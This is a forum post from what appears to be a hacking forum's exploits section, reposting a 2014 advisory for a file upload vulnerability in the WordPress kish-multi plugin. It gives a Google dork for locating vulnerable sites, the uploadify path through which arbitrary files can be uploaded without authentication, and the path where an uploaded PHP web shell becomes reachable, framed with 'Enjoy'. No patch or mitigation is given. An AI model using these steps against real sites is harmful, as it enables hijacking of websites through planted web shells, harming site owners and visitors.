Anti-armenia.ORG - Forumlar - WordPress kish-multi Plugin File Upload Vulnerability

Forumlar / Hacking Platform / Exploits & Vulnerabilities / WordPress kish-multi Plugin File Upload Vulnerability

Istifadəçi

2014-06-27 10:36 GMT

Cahangir25

Informatix

Mesaj Sayı : 1142

Mövzu Sayı :

Rep Ver :

Rep Sayı : 91

Indi Saytda : Durum

Cinsiyyət : Oğlan

Şəhər : PHP

Ölkə :

Məslək : Front-end Web Developer

Yaş :

Mesaj :

############################################################################

# Title : WordPress kish-multi Plugin File Upload Vulnerability

# Author : X-Bruno

# Date : 24/06/2014

# Facebook : http://www.facebook.com/Inj3ct.Bruno

# Email: brunox338@gmail.com

# Vendor : www.wordpress.org

# Google Dork : inurl:/wp-content/plugins/kish-multi/

# Tested on : Linux

############################################################################

Exploit :

>>> > http://localhost/wordpress/wp-content/plugins/kish-multi/uploadify/

Then Click on "Select Files" & Enjoy

Shell Access ==== > [url]http://localhost/wordpress/wp-content/plugins/kish-multi/uploads/(shell_name.phtml)[/url]